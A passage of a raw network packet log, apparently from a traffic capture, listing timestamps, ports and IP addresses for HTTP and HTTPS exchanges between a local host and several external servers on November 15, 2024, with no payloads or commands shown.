Nov 15, 2024 16:16:30.537780046 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537786007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537828922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537836075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537883997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537888050 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537911892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537916899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537933111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537939072 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.537949085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538024902 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538029909 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538091898 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538096905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538115978 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538127899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538132906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538136959 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538201094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538201094 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538317919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538324118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538333893 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538337946 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538343906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538355112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538373947 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538379908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538389921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538393974 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538403034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538408041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538414001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538418055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538423061 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538429022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538433075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538503885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538508892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538520098 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538527012 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538574934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538580894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538590908 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538595915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538602114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538605928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538655043 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538660049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538670063 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538674116 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538712025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538717985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538728952 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538733006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538748026 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538753033 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538758993 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538762093 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538795948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538800001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538825989 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538845062 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538845062 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.538914919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538922071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538933992 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538938999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538991928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.538995981 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539005041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539011002 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539015055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539053917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539058924 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539077044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539081097 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539107084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539107084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539107084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539107084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539107084 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539143085 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539148092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539172888 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539211035 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539217949 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539228916 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539279938 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539285898 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539295912 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539302111 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539308071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539331913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539331913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539331913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539331913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539446115 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539458036 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539463997 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539474964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539479971 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539493084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539498091 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539501905 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539516926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539516926 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539530039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539535999 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539541006 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539545059 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539547920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539554119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539566040 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539571047 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539576054 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539582968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539593935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539593935 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539623022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539623022 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539660931 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539665937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539689064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539694071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539702892 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539707899 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539717913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539724112 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539729118 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539736032 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539740086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539762020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539774895 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539781094 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539786100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539819956 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.539906979 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539912939 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539928913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539933920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539940119 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539944887 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539949894 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.539954901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.540116072 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.540221930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.540363073 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.540393114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.540448904 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.540896893 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.541163921 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.541218042 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.542678118 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.542747974 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.543664932 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.543720961 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.543734074 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.543801069 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.543802977 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.543821096 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.543859005 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.544115067 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.544135094 CET	443	49843	20.96.153.111	192.168.2.5
Nov 15, 2024 16:16:30.544931889 CET	49837	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:30.544946909 CET	443	49837	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:30.571628094 CET	443	49839	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:30.571707010 CET	49839	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:30.574696064 CET	49839	443	192.168.2.5	20.125.209.212
Nov 15, 2024 16:16:30.574723959 CET	443	49839	20.125.209.212	192.168.2.5
Nov 15, 2024 16:16:30.617677927 CET	49843	443	192.168.2.5	20.96.153.111
Nov 15, 2024 16:16:30.681866884 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681891918 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681900024 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681967020 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681973934 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681988001 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.681994915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682028055 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682034016 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682045937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682080030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682080030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682080030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682080030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682080030 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682171106 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682179928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682193041 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682199955 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682207108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682219028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682225943 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682234049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682352066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682367086 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682379007 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682384968 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682390928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682396889 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682415009 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682421923 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682427883 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682434082 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682440996 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682449102 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682450056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682450056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682450056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682450056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682450056 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682461023 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682471037 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682512045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682522058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682524920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682524920 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682543039 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682549000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682560921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682565928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682569027 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682573080 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682579994 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682591915 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682598114 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682605028 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682610989 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682687044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682693005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682708025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682713985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682725906 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682730913 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682738066 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682750940 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682756901 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682763100 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682801008 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.682864904 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682873011 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682884932 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682892084 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682898045 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682909966 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682915926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682921886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682933092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682940960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682946920 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682954073 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682960987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682971954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.682987928 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683001995 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683007956 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683022022 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683029890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683036089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683115959 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683116913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683116913 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683209896 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683217049 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683228970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683234930 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683239937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683247089 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683258057 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683264017 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683271885 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683284044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683290005 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683296919 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683301926 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683307886 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683319092 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683346987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683362961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683362961 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683363914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683363914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683363914 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:30.683371067 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683388948 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683401108 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683407068 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683413029 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683424950 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683430910 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683437109 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683448076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683453083 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683459044 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683465004 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683470964 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683476925 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683484077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683505058 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683520079 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683532000 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683537960 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683552027 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:30.683625937 CET	80	49759	185.215.113.206	192.168.2.5
